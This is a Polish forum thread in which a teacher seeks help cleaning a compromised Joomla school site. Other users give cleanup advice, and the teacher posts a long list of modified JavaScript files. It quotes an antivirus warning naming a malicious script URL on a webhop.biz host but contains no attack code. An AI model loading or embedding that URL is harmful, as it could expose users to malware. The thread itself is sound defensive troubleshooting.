Wirus na stronie - prosze o pomoc

[stelmach]

Prowadzę dwie witryny szkolne oparte na joomli - początkowo były postawione na jomlii 1.7 a pozniej wykonałem migracje do 2.5.

Kilka dni temu po wejsciu na stronę kasperski wyswietlil komunikat nastepującej treści (druga witryna jest zdrowa):

Prawdopodobnie zainfekowany szkodliwy odsyłacz 881E6B8CDF1ED08F szouf.auppwsgnox.webhop.biz/g/861771924433222.js Wysoki
Przy próbach wejscia na stronę lub odswieżenia odresu - nadal to samo - jednak koncówka jest generowana z inną nazwą.

Przez ostatni miesiąc nic nie istalowałem - dodawałem tylko same artykuły do aktualności.

Hosting postawiony na OVH.

Do kopiowania danych na serwer używam fillezilla (niestety z braku doświadczenia trzymane było tam hasło).
wyczysciłem historie i wszystkie dane z fillezilii
Zeskanowałem obydwa komputery w domu i wszystkie nosniki Kasperskim - poźniej combofixem
Dyski zostały sprawdzone i wyczyszczone.

Używam akeeba do robienia kopii - ostatnią mam z początku lutego - wtedy nie było komunikatów o wirusie.

Po wyczyszczeniu komputerów ściągnałem całość witryny na dysk i zeskanowałem - Kaspersky nie znalazł nic.
Zrobiłem kopię witryny z wirusem na wszelki wypadek tak aby mozna było na wszelki wypadek przywrócić i badac zmiany w plikach (żałuję że tego nie zrobiłem od razu - byłoby wiecej informacji).

Usunąłem całą zawartość serwera - załadowałem kopie z lutego - pouzupełniałem brakujące artykuły (kupa roboty) - po wejsciu na stronę - brak informacji o wirusie.
Pozmieniałem hasła na uzytkowanika (nie był to admin lub administrator lecz zupełnie inna nazwa zawierająca duże i małe litery i 13 znaków), do FTP na bardzo długie i skomplikowane. Do bazy danych nie mogłem zmienic bo witryna nie odpowiadała po zmianie - można to zrobić o ile sie nie mylę przy odtwarzaniu kopii za pomoca kickstartu akeeba - lecz za pozno się pokapowałem.

Cieszyłem się chwilą bez wirusa dosłownie kilka godzin - niestety nadal ten sam.
Odinstalowałem wszystkie componenty typu liczniki, zegary, pogode, translatory itp
Powyłaczałem moduły z linkami na stronie - teraz po wejsciu widac tylko liste artykułów i logo.
niestety wirus nadal wystepuje.

Dziwne jest to że że niezaleznie od tego czy witryna jest włączona czy wyłaczona wirus nadal wyskakuje przy próbie załadowania strony.
Komunikat wystepuje zarówno na zapleczu jak i froncie, niezaleznie z jakiej przegladarki. Dziwne jest tez to że druga strona nie jest zarażona a logowałem sie tam w tym samym czasie co na zarażona i wgrywałem tam zdjęcia przez ftp.

Prosze o konkretne porady jak sobie z tym poradzić a nie opinie że sam jestes sobie winien bo to i tamto...
Kto pracuje w szkolnictwie wie że szkole nauczyciel informatyki musi byc genialny we wszystkim (nauczyciel, programista, sieciowiec, konserwator) a ja niestety uczę jeszcze dwóch innych przedmiotów i pracuje w dwóch szkołach gdzie powielam te funkcje i naprawde ze wszyskim nie wyrabiam i nie jestem w stanie wysrubowac danej dziedziny na blaszkę bo jak sie jest od wszystkiego to jest sie do niczego. Wiecie równiez że w szkołach nie ma kasy na komercyjne zabezpieczenia np dla joomli - długo negocjowałem ja domene i hosting.

Czy może to byc wina hostingu?
Czy wirus może siedzieć w bazie danych?

Oczytałem sie już tyle artykułów na podobne tematy i probowałem po czesci wszystkiego co mogłem ale nic nie pomogło.

Nie usmiecha mi się stawiac witryny na nowo bo czasowo zejdzie mi z tym pewnie z 1,5 tygodnia - jesli miałbym odtwarzac wszystkie artykuły, podstrony itp.

Proszę o pomoc.

Czy mam podac link do strony czy nie robic tego ze względu na wystepujące tam zagrożenie

[PeFik]

1) Wyłącz stronę - najlepiej ustaw tryb offline + daj plik index.html - aby ludzi nie zarażać
2) wejdź na wiki.joomla.pl i poszukaj procedury
3) zleć odpowiedniej osobie wykrycie i naprawienie strony + zabezpieczenie

Czy może to byc wina hostingu?
Nie, ovh jest dobra firmą, więc nie pozwala sobie na takie słabości

Czy wirus może siedzieć w bazie danych?
Raczej nie, na ogół siedzi w którymś z plików, na ogół pliku szablonu!!

[zwiastun]

Postępowałeś wręcz wzorcowo, wiec powinieneś dać radę.
Na stronie nie masz wirusa. Masz szkodliwy kod przekierowujący witrynę na adres, który przytoczyłeś w czerwonym tekście.
1. Zbadaj, czy nie pojawiły się nowe pliki lub zmienione pliki typu index.php (popatrz na ich daty, porównaj z datami instalacji.
2. Zbadaj bazę danych - zrób zrzut i przeszukaj, sprawdzając, czy nie ma gdzieś dopisanego skryptu js (poszukaj np. ciągu iframe)
4. Powtórz proces odtwarzania witryny, ale zrób to lokalnie, tak, żebyś nie musiał potem znów w razie co powtarzać. Zachowaj tę kopię.
5. Sprawdź, czy nie masz w kontach administracyjnych jakiegoś dodatkowego konta. Zmień dane logowania wszystkich kont administracyjnych. Zmień przedrostek nazw tabel w bazie danych (pamiętaj, by go zmienić też w pliku configuration.php).
6. Jeszcze raz pozmieniaj wszystkie dane dostępowe na serwerze.
7. Zrób za pomocą akeeba kopię i odtwórz witrynę na serwerze.
8. Obserwuj, ale spokojnie. Jeśli się znów pojawi sytuacja
a) sprawdź pliki na serwerze - .htaccess, index.php - porównaj wielkości z tymi sprzed ataku
b) porównaj bazy danych tę sprzed i tę po.

[stelmach]

4. Powtórz proces odtwarzania witryny, ale zrób to lokalnie, tak, żebyś nie musiał potem znów w razie co powtarzać. Zachowaj tę kopię.


Proszę o pomoc w tym punkcie

zainstalowałem xaamp -> uruchomiłem-> skopiowałem kopie strony do odpowiedniego folderu -> uruchomiłem kickstart
- pliki sie wyodrebniły ładnie

Jestem w punkcie:
Konfiguracja Bazy danych - Główna Baza danych Witryny

Załózmy ze wczesniej miałem nastepujace dane jak przywracałem na domenie(wpisałem fikcyjne):


Typ bazy danych (zazwyczaj "mysql")
Nazwa hosta serwera bazy danych: mysql51-43.perso
Nazwa użytkownika: panlucek
Hasło: luceklucek
Nazwa bazy danych: panlucek

Co mam teraz wpisac jak przywracam lokalnie?

Typ bazy danych (zazwyczaj "mysql"):
Nazwa hosta serwera bazy danych: localhost????
Nazwa użytkownika: root@localhost ???
Hasło: jakie?
Nazwa bazy danych: root@localhost???



Jakie dane mam wpisac lub gdzie to sprawdzic w xaampie?
Nie robiłem tego nigdy a bazuje na wiadomościach z
http://wiki.joomla.pl/index.php/Zaczynamy_z_Joomla!_1.5/Lokalna_instalacja_Joomla (http://wiki.joomla.pl/index.php/Zaczynamy_z_Joomla%21_1.5/Lokalna_instalacja_Joomla)!
ale tam instalujemy czystą.

---------- Post dodany o 18:26 ---------- Poprzedni post był o 18:15 ----------

Przepraszam - juz znalałem - trzeba sobie utworzyc myphpadmin nowa baze i uzytkownika - ruszyłem dalej z atakiem na złośliwy kod

---------- Post dodany o 18:45 ---------- Poprzedni post był o 18:26 ----------

Mam juz listę modyfikowanych plików - czy moge ja tu wkleic ze względów bezpieczeństwa ale w postaci zwykłego tekstu? Z mimi przypisami co kiedy robiłem tak abyści mi pomogli to dziadostwo znaleźć?

[zwiastun]

dla Joomla 2.5.x - typ bazy danych - lepiej mysqli

Lista modyfikowanych plików niewiele da. Ale wklej, zobaczymy

[big_krzysiek]

Obawiam się, że masz "wstrzyknięty" złośliwy kod php do plików *.php (nie tylko index.php). Porównaj zarażone pliki z "czystymi" plikami z instalki. I w tej drugiej witrynie też.



[stelmach]

Przeglądamy od dołu


File Size Last Modified

-to nie wiem czemu jest modyfikacja 8 kwietnia - moze sam tu patrzylem
./configuration.php 2.7kb 08 Apr 2012 20:28:22



./templates/beez_20/javascript/md_stylechanger.js 14.2kb 02 Apr 2012 18:03:32
./templates/beez_20/javascript/hide.js 19.3kb 02 Apr 2012 18:03:29
./templates/beez5/javascript/md_stylechanger.js 14.6kb 02 Apr 2012 18:03:24
./stara_strona/przegladarka_zdjec9.js 16.5kb 02 Apr 2012 18:03:01
./stara_strona/przegladarka_zdjec7.js 16.6kb 02 Apr 2012 18:02:54
./stara_strona/przegladarka_zdjec5.js 17.3kb 02 Apr 2012 18:02:44
./stara_strona/przegladarka_zdjec3.js 17kb 02 Apr 2012 18:02:32
./stara_strona/przegladarka_zdjec2.js 17.3kb 02 Apr 2012 18:02:27
./stara_strona/przegladarka_zdjec13.js 15.9kb 02 Apr 2012 18:02:24
./stara_strona/przegladarka_zdjec11.js 16.8kb 02 Apr 2012 18:02:18
./stara_strona/przegladarka_zdjec10.js 16.6kb 02 Apr 2012 18:02:14
./stara_strona/przedszkole_2008_2009/przegladarka_zdjec9.js 16.5kb 02 Apr 2012 18:01:52
./stara_strona/przedszkole_2008_2009/przegladarka_zdjec8.js 16.5kb 02 Apr 2012 18:01:44
./stara_strona/przedszkole_2008_2009/przegladarka_zdjec6.js 16.5kb 02 Apr 2012 18:01:38
./stara_strona/przedszkole_2008_2009/przegladarka_zdjec13.js 16.6kb 02 Apr 2012 18:01:16
./stara_strona/przedszkole_2008_2009/przegladarka_zdjec12.js 16.4kb 02 Apr 2012 18:01:13
./stara_strona/przedszkole_2008_2009/przegladarka_zdjec11.js 16.5kb 02 Apr 2012 18:01:10
./stara_strona/przedszkole_2008_2009/przegladarka_zdjec10.js 16.5kb 02 Apr 2012 18:01:05
./stara_strona/przedszkole_2008_2009/przegladarka_zdjec.js 16.8kb 02 Apr 2012 18:01:02
./stara_strona/przedszkole_2008_2009/autoiframe.js 13.4kb 02 Apr 2012 18:00:57
./stara_strona/kolka_przedmiotowe/przegladarka_zdjec9.js 17.1kb 02 Apr 2012 18:00:51
./stara_strona/kolka_przedmiotowe/przegladarka_zdjec8.js 17.1kb 02 Apr 2012 18:00:48
./stara_strona/kolka_przedmiotowe/przegladarka_zdjec6.js 16.4kb 02 Apr 2012 18:00:35
./stara_strona/kolka_przedmiotowe/przegladarka_zdjec4.js 16.4kb 02 Apr 2012 18:00:26
./stara_strona/kolka_przedmiotowe/przegladarka_zdjec3.js 16.5kb 02 Apr 2012 18:00:20
./stara_strona/kolka_przedmiotowe/przegladarka_zdjec2.js 16.5kb 02 Apr 2012 18:00:17
./stara_strona/kolka_przedmiotowe/przegladarka_zdjec12.js 16.6kb 02 Apr 2012 18:00:07
./stara_strona/kolka_przedmiotowe/przegladarka_zdjec11.js 16.8kb 02 Apr 2012 18:00:05
./stara_strona/kolka_przedmiotowe/przegladarka_zdjec10.js 16.7kb 02 Apr 2012 17:59:58
./stara_strona/kolka_przedmiotowe/przegladarka_zdjec1.js 16.5kb 02 Apr 2012 17:59:54
./stara_strona/kolka_przedmiotowe/przegladarka_zdjec.js 16.5kb 02 Apr 2012 17:59:47
./stara_strona/kolka_przedmiotowe/autoiframe.js 12.9kb 02 Apr 2012 17:59:42
./stara_strona/archiwum/2011_2012/przegladarka_zdjec6.js 16.7kb 02 Apr 2012 17:59:24
./stara_strona/archiwum/2011_2012/przegladarka_zdjec3.js 17.1kb 02 Apr 2012 17:59:14
./stara_strona/archiwum/2011_2012/przegladarka_zdjec2.js 16.4kb 02 Apr 2012 17:59:11
./stara_strona/archiwum/2011_2012/przegladarka_zdjec1.js 16.2kb 02 Apr 2012 17:59:05
./stara_strona/archiwum/2011_2012/przegladarka_zdjec.js 16.5kb 02 Apr 2012 17:59:01
./stara_strona/archiwum/2010_2011/przegladarka_zdjec6.js 16.9kb 02 Apr 2012 17:58:53
./stara_strona/archiwum/2010_2011/przegladarka_zdjec4.js 16.5kb 02 Apr 2012 17:58:43
./stara_strona/archiwum/2010_2011/przegladarka_zdjec3.js 16.9kb 02 Apr 2012 17:58:41
./stara_strona/archiwum/2010_2011/autoiframe.js 13.3kb 02 Apr 2012 17:58:23
./stara_strona/archiwum/2009_2010/przegladarka_zdjec6.js 16.4kb 02 Apr 2012 17:58:21
./stara_strona/archiwum/2009_2010/przegladarka_zdjec5.js 16.6kb 02 Apr 2012 17:58:16
./stara_strona/archiwum/2009_2010/przegladarka_zdjec2.js 16.5kb 02 Apr 2012 17:58:03
./stara_strona/archiwum/2008_2009/przegladarka_zdjec4.js 16.5kb 02 Apr 2012 17:57:47
./stara_strona/archiwum/2008_2009/przegladarka_zdjec2.js 17.1kb 02 Apr 2012 17:57:34
./stara_strona/archiwum/2008_2009/przegladarka_zdjec1.js 16.6kb 02 Apr 2012 17:57:30
./stara_strona/archiwum/2008_2009/przegladarka_zdjec.js 16.6kb 02 Apr 2012 17:57:27
./stara_strona/archiwum/2008_2009/autoiframe.js 12.9kb 02 Apr 2012 17:57:24
./stara_strona/archiwum/2007_2008/przegladarka_zdjec4.js 17.1kb 02 Apr 2012 17:57:20
./stara_strona/archiwum/2007_2008/przegladarka_zdjec3.js 16.5kb 02 Apr 2012 17:57:13
./stara_strona/archiwum/2007_2008/przegladarka_zdjec.js 16.9kb 02 Apr 2012 17:57:01
./plugins/content/sigplus/js/linkage.min.js 13.4kb 02 Apr 2012 17:56:54
./plugins/content/sigplus/js/linkage.js 14.7kb 02 Apr 2012 17:56:50
./plugins/content/sigplus/js/jquery.noconflict.js 12.7kb 02 Apr 2012 17:56:46
./plugins/content/sigplus/js/jquery.mousewheel.min.js 12.7kb 02 Apr 2012 17:56:41
./plugins/content/sigplus/js/jquery.mousewheel.js 13kb 02 Apr 2012 17:56:37
./plugins/content/sigplus/js/jquery.js 89kb 02 Apr 2012 17:56:31
./plugins/content/sigplus/js/jquery.include.min.js 13.5kb 02 Apr 2012 17:56:25
./plugins/content/sigplus/js/jquery.include.js 13kb 02 Apr 2012 17:56:23
./plugins/content/sigplus/js/jquery.include.debug.js 13.1kb 02 Apr 2012 17:56:21
./plugins/content/sigplus/js/jquery.easing.js 20kb 02 Apr 2012 17:56:10
./plugins/content/sigplus/fields/backup.js 14.9kb 02 Apr 2012 17:56:06
./plugins/content/sigplus/fields/jscolor/jscolor.js 35.7kb 02 Apr 2012 17:56:03
./plugins/content/sigplus/engines/slimbox2/js/slimbox2.min.js 15.8kb 02 Apr 2012 17:55:58
./plugins/content/sigplus/engines/slimbox2/js/initialization.js 13.1kb 02 Apr 2012 17:55:47
./plugins/content/sigplus/engines/slimbox2/js/activation.js 12.8kb 02 Apr 2012 17:55:43
./plugins/content/sigplus/engines/slimbox/js/slimbox.min.js 16.2kb 02 Apr 2012 17:55:39
./plugins/content/sigplus/engines/slimbox/js/slimbox.js 21.2kb 02 Apr 2012 17:55:36
./plugins/content/sigplus/engines/slimbox/js/initialization.js 12.8kb 02 Apr 2012 17:55:32
./plugins/content/sigplus/engines/sexylightbox/js/sexylightbox.min.js 25.9kb 02 Apr 2012 17:55:25
./plugins/content/sigplus/engines/sexylightbox/js/sexylightbox.js 36.2kb 02 Apr 2012 17:55:19
./plugins/content/sigplus/engines/milkbox/js/milkbox.min.js 29.4kb 02 Apr 2012 17:55:06
./plugins/content/sigplus/engines/milkbox/js/milkbox.js 38.4kb 02 Apr 2012 17:55:01
./plugins/content/sigplus/engines/fancybox/js/fancybox.min.js 27.5kb 02 Apr 2012 17:54:59
./plugins/content/sigplus/engines/fancybox/js/fancybox.js 40kb 02 Apr 2012 17:54:50
./plugins/content/sigplus/engines/fancybox/js/activation.js 12.4kb 02 Apr 2012 17:54:44
./plugins/content/sigplus/engines/boxplus/slider/js/boxplus.transition.min.js 15.9kb 02 Apr 2012 17:54:42
./plugins/content/sigplus/engines/boxplus/slider/js/boxplus.slider.js 25.3kb 02 Apr 2012 17:54:32
./plugins/content/sigplus/engines/boxplus/slider/js/boxplus.carousel.min.js 16.8kb 02 Apr 2012 17:54:26
./plugins/content/sigplus/engines/boxplus/slider/js/boxplus.carousel.js 26.3kb 02 Apr 2012 17:54:21
./plugins/content/sigplus/engines/boxplus/popup/js/boxplus.min.js 23.1kb 02 Apr 2012 17:54:11
./plugins/content/sigplus/engines/boxplus/popup/js/boxplus.js 53.5kb 02 Apr 2012 17:54:09
./plugins/content/sigplus/engines/boxplus/popup/js/boxplus.facebook.js 13.7kb 02 Apr 2012 17:54:04
./plugins/content/sigplus/engines/boxplus/lang/boxplus.lang.min.js 16.5kb 02 Apr 2012 17:53:53
./plugins/content/sigplus/engines/boxplus/hover/js/boxplus.hover.min.js 14.6kb 02 Apr 2012 17:53:46
./plugins/content/sigplus/engines/boxplus/hover/js/boxplus.hover.js 20.5kb 02 Apr 2012 17:53:43
./plugins/content/sigplus/engines/boxplus/caption/js/boxplus.caption.min.js 13.1kb 02 Apr 2012 17:53:37
./plugins/content/sigplus/engines/boxplus/caption/js/boxplus.caption.js 16.5kb 02 Apr 2012 17:53:34
./plugins/content/jw_allvideos/jw_allvideos/includes/js/wmvplayer/wmvplayer.js 36.2kb 02 Apr 2012 17:53:29
./plugins/content/jw_allvideos/jw_allvideos/includes/js/wmvplayer/silverlight.js 29.1kb 02 Apr 2012 17:53:26
./plugins/content/jw_allvideos/jw_allvideos/includes/js/quicktimeplayer/AC_QuickTime.js 20.3kb 02 Apr 2012 17:53:19
./modules/mod_snowfalling/mod_snowfalling.js 26.7kb 02 Apr 2012 17:53:06
./modules/mod_seftranslate/js/jquery.translate.js 44.2kb 02 Apr 2012 17:53:01
./modules/mod_seftranslate/js/jquery.js 68.2kb 02 Apr 2012 17:52:54
./modules/mod_seftranslate/js/cookie.js 14.9kb 02 Apr 2012 17:52:43
./modules/mod_mycounter/tmpl/jquery.min.js 82.1kb 02 Apr 2012 17:52:35
./media/system/js/validate.js 15.5kb 02 Apr 2012 17:52:30
./media/system/js/validate-uncompressed.js 16.7kb 02 Apr 2012 17:52:27
./media/system/js/uploader.js 17.2kb 02 Apr 2012 17:52:25
./media/system/js/uploader-uncompressed.js 18.5kb 02 Apr 2012 17:52:19
./media/system/js/tabs.js 14.4kb 02 Apr 2012 17:52:16
./media/system/js/switcher.js 13.5kb 02 Apr 2012 17:52:14
./media/system/js/switcher-uncompressed.js 14.5kb 02 Apr 2012 17:52:09
./media/system/js/swf.js 19.1kb 02 Apr 2012 17:52:04
./media/system/js/swf-uncompressed.js 23kb 02 Apr 2012 17:52:00
./media/system/js/progressbar.js 13.2kb 02 Apr 2012 17:51:58
./media/system/js/progressbar-uncompressed.js 14.2kb 02 Apr 2012 17:51:49
./media/system/js/passwordstrength.js 14.3kb 02 Apr 2012 17:51:42
./media/system/js/multiselect.js 13.3kb 02 Apr 2012 17:51:36
./media/system/js/mootree.js 18.2kb 02 Apr 2012 17:51:32
./media/system/js/mootree-uncompressed.js 33.5kb 02 Apr 2012 17:51:30
./media/system/js/mootools-more.js 244.6kb 02 Apr 2012 17:51:26
./media/system/js/mootools-more-uncompressed.js 355.8kb 02 Apr 2012 17:51:16
./media/system/js/mootools-core.js 104.6kb 02 Apr 2012 17:51:10
./media/system/js/mootools-core-uncompressed.js 165.2kb 02 Apr 2012 17:51:05
./media/system/js/mooRainbow.js 25.6kb 02 Apr 2012 17:50:58
./media/system/js/mooRainbow-uncompressed.js 30.5kb 02 Apr 2012 17:50:53
./media/system/js/modal.js 21.2kb 02 Apr 2012 17:50:46
./media/system/js/modal-uncompressed.js 24.9kb 02 Apr 2012 17:50:44
./media/system/js/highlighter.js 13.8kb 02 Apr 2012 17:50:42
./media/system/js/highlighter-uncompressed.js 15.5kb 02 Apr 2012 17:50:35
./media/system/js/core.js 17.2kb 02 Apr 2012 17:50:30
./media/system/js/core-uncompressed.js 25.5kb 02 Apr 2012 17:50:26
./media/system/js/combobox.js 13.7kb 02 Apr 2012 17:50:24
./media/system/js/combobox-uncompressed.js 17kb 02 Apr 2012 17:50:21
./media/system/js/caption.js 12.6kb 02 Apr 2012 17:50:15
./media/system/js/caption-uncompressed.js 13.3kb 02 Apr 2012 17:50:11
./media/system/js/calendar.js 41.5kb 02 Apr 2012 17:50:08
./media/system/js/calendar-uncompressed.js 60kb 02 Apr 2012 17:50:01
./media/system/js/calendar-setup.js 15kb 02 Apr 2012 17:49:56
./media/system/js/calendar-setup-uncompressed.js 20.6kb 02 Apr 2012 17:49:53
./media/plg_quickicon_joomlaupdate/jupdatecheck.js 14.7kb 02 Apr 2012 17:49:49
./media/plg_quickicon_extensionupdate/extensionupdatecheck.js 13.3kb 02 Apr 2012 17:49:45
./media/overrider/js/overrider.js 18.3kb 02 Apr 2012 17:49:41
./media/mod_vworldclock/js/vworldclock.js 12.6kb 02 Apr 2012 17:49:37
./media/mod_vworldclock/js/vworldclock-uncompressed.js 13.4kb 02 Apr 2012 17:49:34
./media/mod_vworldclock/js/colorpicker.js 16.9kb 02 Apr 2012 17:49:30
./media/mod_vworldclock/js/colorpicker-uncompressed.js 17.8kb 02 Apr 2012 17:49:25
./media/media/js/popup-imagemanager.js 18.2kb 02 Apr 2012 17:49:21
./media/media/js/mediamanager.js 17.2kb 02 Apr 2012 17:49:17
./media/editors/tinymce/templates/template_list.js 13.4kb 02 Apr 2012 17:49:13
./media/editors/tinymce/jscripts/tiny_mce/tiny_mce_src.js 432.1kb 02 Apr 2012 17:49:02
./media/editors/tinymce/jscripts/tiny_mce/tiny_mce_popup.js 17.3kb 02 Apr 2012 17:48:55
./media/editors/tinymce/jscripts/tiny_mce/tiny_mce.js 214.7kb 02 Apr 2012 17:48:52
./media/editors/tinymce/jscripts/tiny_mce/utils/validate.js 17.6kb 02 Apr 2012 17:48:47
./media/editors/tinymce/jscripts/tiny_mce/utils/form_utils.js 17.8kb 02 Apr 2012 17:48:41
./media/editors/tinymce/jscripts/tiny_mce/themes/simple/editor_template.js 14.1kb 02 Apr 2012 17:48:27
./media/editors/tinymce/jscripts/tiny_mce/themes/simple/langs/en.js 12.8kb 02 Apr 2012 17:48:23
./media/editors/tinymce/jscripts/tiny_mce/themes/advanced/editor_template.js 36.5kb 02 Apr 2012 17:48:14
./media/editors/tinymce/jscripts/tiny_mce/themes/advanced/langs/en_dlg.js 14.1kb 02 Apr 2012 17:48:09
./media/editors/tinymce/jscripts/tiny_mce/themes/advanced/js/link.js 16.8kb 02 Apr 2012 17:48:00
./media/editors/tinymce/jscripts/tiny_mce/themes/advanced/js/image.js 18.2kb 02 Apr 2012 17:47:55
./media/editors/tinymce/jscripts/tiny_mce/themes/advanced/js/color_picker.js 25.7kb 02 Apr 2012 17:47:52
./media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/editor_plugin.js 14.8kb 02 Apr 2012 17:47:29
./media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/js/ins.js 13.2kb 02 Apr 2012 17:47:20
./media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/js/del.js 13.4kb 02 Apr 2012 17:47:14
./media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/js/acronym.js 12.2kb 02 Apr 2012 17:47:04
./media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/js/abbr.js 12.5kb 02 Apr 2012 17:47:02
./media/editors/tinymce/jscripts/tiny_mce/plugins/wordcount/editor_plugin_src.js 15kb 02 Apr 2012 17:46:49
./media/editors/tinymce/jscripts/tiny_mce/plugins/visualchars/editor_plugin.js 13.5kb 02 Apr 2012 17:46:34
./media/editors/tinymce/jscripts/tiny_mce/plugins/template/editor_plugin.js 15.2kb 02 Apr 2012 17:46:25
./media/editors/tinymce/jscripts/tiny_mce/plugins/template/langs/en_dlg.js 12.6kb 02 Apr 2012 17:46:20
./media/editors/tinymce/jscripts/tiny_mce/plugins/table/editor_plugin_src.js 49.2kb 02 Apr 2012 17:46:11
./media/editors/tinymce/jscripts/tiny_mce/plugins/table/editor_plugin.js 28.9kb 02 Apr 2012 17:46:05
./media/editors/tinymce/jscripts/tiny_mce/plugins/table/langs/en_dlg.js 14.3kb 02 Apr 2012 17:46:00
./media/editors/tinymce/jscripts/tiny_mce/plugins/table/js/row.js
Warning: filesize() [function.filesize]: stat failed for ./media/editors/tinymce/jscripts/tiny_mce/plugins/table/js/row.js in C:\xampp\htdocs\joomla\wypier.php on line 79
0kb 02 Apr 2012 17:45:51
./media/editors/tinymce/jscripts/tiny_mce/plugins/table/js/cell.js 20.8kb 02 Apr 2012 17:45:43
./media/editors/tinymce/jscripts/tiny_mce/plugins/tabfocus/editor_plugin_src.js 14.8kb 02 Apr 2012 17:45:39
./media/editors/tinymce/jscripts/tiny_mce/plugins/tabfocus/editor_plugin.js 13.5kb 02 Apr 2012 17:45:36
./media/editors/tinymce/jscripts/tiny_mce/plugins/style/editor_plugin_src.js 13.3kb 02 Apr 2012 17:45:35
./media/editors/tinymce/jscripts/tiny_mce/plugins/style/editor_plugin.js 12.9kb 02 Apr 2012 17:45:31
./media/editors/tinymce/jscripts/tiny_mce/plugins/style/js/props.js 40.5kb 02 Apr 2012 17:45:27
./media/editors/tinymce/jscripts/tiny_mce/plugins/spellchecker/editor_plugin_src.js 23.2kb 02 Apr 2012 17:45:24
./media/editors/tinymce/jscripts/tiny_mce/plugins/spellchecker/editor_plugin.js 18.2kb 02 Apr 2012 17:45:20
./media/editors/tinymce/jscripts/tiny_mce/plugins/searchreplace/langs/en_dlg.js 13kb 02 Apr 2012 17:45:09
./media/editors/tinymce/jscripts/tiny_mce/plugins/save/editor_plugin_src.js 14.9kb 02 Apr 2012 17:45:01
./media/editors/tinymce/jscripts/tiny_mce/plugins/save/editor_plugin.js 13.6kb 02 Apr 2012 17:44:53
./media/editors/tinymce/jscripts/tiny_mce/plugins/print/editor_plugin_src.js 12.9kb 02 Apr 2012 17:44:48
./media/editors/tinymce/jscripts/tiny_mce/plugins/print/editor_plugin.js 13.1kb 02 Apr 2012 17:44:45
./media/editors/tinymce/jscripts/tiny_mce/plugins/preview/editor_plugin_src.js 13.6kb 02 Apr 2012 17:44:42
./media/editors/tinymce/jscripts/tiny_mce/plugins/paste/editor_plugin_src.js 41.7kb 02 Apr 2012 17:44:31
./media/editors/tinymce/jscripts/tiny_mce/plugins/paste/js/pasteword.js 13.2kb 02 Apr 2012 17:44:20
./media/editors/tinymce/jscripts/tiny_mce/plugins/paste/js/pastetext.js 13.3kb 02 Apr 2012 17:44:16
./media/editors/tinymce/jscripts/tiny_mce/plugins/pagebreak/editor_plugin_src.js 14.4kb 02 Apr 2012 17:44:14
./media/editors/tinymce/jscripts/tiny_mce/plugins/pagebreak/editor_plugin.js 13.5kb 02 Apr 2012 17:44:03
./media/editors/tinymce/jscripts/tiny_mce/plugins/noneditable/editor_plugin_src.js 14.3kb 02 Apr 2012 17:44:00
./media/editors/tinymce/jscripts/tiny_mce/plugins/nonbreaking/editor_plugin_src.js 13.5kb 02 Apr 2012 17:43:53
./media/editors/tinymce/jscripts/tiny_mce/plugins/media/editor_plugin_src.js 36.7kb 02 Apr 2012 17:43:47
./media/editors/tinymce/jscripts/tiny_mce/plugins/media/editor_plugin.js 24.1kb 02 Apr 2012 17:43:43
./media/editors/tinymce/jscripts/tiny_mce/plugins/media/langs/en_dlg.js 14.7kb 02 Apr 2012 17:43:41
./media/editors/tinymce/jscripts/tiny_mce/plugins/media/js/media.js 26.4kb 02 Apr 2012 17:43:39
./media/editors/tinymce/jscripts/tiny_mce/plugins/media/js/embed.js 13.7kb 02 Apr 2012 17:43:31
./media/editors/tinymce/jscripts/tiny_mce/plugins/lists/editor_plugin_src.js 42.1kb 02 Apr 2012 17:43:27
./media/editors/tinymce/jscripts/tiny_mce/plugins/lists/editor_plugin.js 26.3kb 02 Apr 2012 17:43:18
./media/editors/tinymce/jscripts/tiny_mce/plugins/layer/editor_plugin_src.js 18.3kb 02 Apr 2012 17:43:13
./media/editors/tinymce/jscripts/tiny_mce/plugins/layer/editor_plugin.js 16.5kb 02 Apr 2012 17:43:10
./media/editors/tinymce/jscripts/tiny_mce/plugins/insertdatetime/editor_plugin_src.js 15kb 02 Apr 2012 17:43:06
./media/editors/tinymce/jscripts/tiny_mce/plugins/inlinepopups/editor_plugin_src.js 30.5kb 02 Apr 2012 17:43:00
./media/editors/tinymce/jscripts/tiny_mce/plugins/inlinepopups/editor_plugin.js 24.2kb 02 Apr 2012 17:42:56
./media/editors/tinymce/jscripts/tiny_mce/plugins/iespell/editor_plugin.js 13.1kb 02 Apr 2012 17:42:43
./media/editors/tinymce/jscripts/tiny_mce/plugins/fullscreen/editor_plugin_src.js 17.6kb 02 Apr 2012 17:42:39
./media/editors/tinymce/jscripts/tiny_mce/plugins/fullpage/editor_plugin_src.js 23.4kb 02 Apr 2012 17:42:29
./media/editors/tinymce/jscripts/tiny_mce/plugins/fullpage/editor_plugin.js 18.2kb 02 Apr 2012 17:42:26
./media/editors/tinymce/jscripts/tiny_mce/plugins/fullpage/langs/en_dlg.js 13.9kb 02 Apr 2012 17:42:23
./media/editors/tinymce/jscripts/tiny_mce/plugins/fullpage/js/fullpage.js 19.9kb 02 Apr 2012 17:42:19
./media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/editor_plugin.js 13.2kb 02 Apr 2012 17:42:15
./media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/langs/en_dlg.js 12.4kb 02 Apr 2012 17:42:12
./media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/js/emotions.js 13kb 02 Apr 2012 17:42:09
./media/editors/tinymce/jscripts/tiny_mce/plugins/directionality/editor_plugin_src.js 14.3kb 02 Apr 2012 17:42:05
./media/editors/tinymce/jscripts/tiny_mce/plugins/directionality/editor_plugin.js 14kb 02 Apr 2012 17:42:03
./media/editors/tinymce/jscripts/tiny_mce/plugins/contextmenu/editor_plugin_src.js 16.7kb 02 Apr 2012 17:41:56
./media/editors/tinymce/jscripts/tiny_mce/plugins/bbcode/editor_plugin_src.js 16.2kb 02 Apr 2012 17:41:44
./media/editors/tinymce/jscripts/tiny_mce/plugins/bbcode/editor_plugin.js 15.3kb 02 Apr 2012 17:41:41
./media/editors/tinymce/jscripts/tiny_mce/plugins/autosave/editor_plugin_src.js 25.1kb 02 Apr 2012 17:41:36
./media/editors/tinymce/jscripts/tiny_mce/plugins/autosave/editor_plugin.js 15.5kb 02 Apr 2012 17:41:32
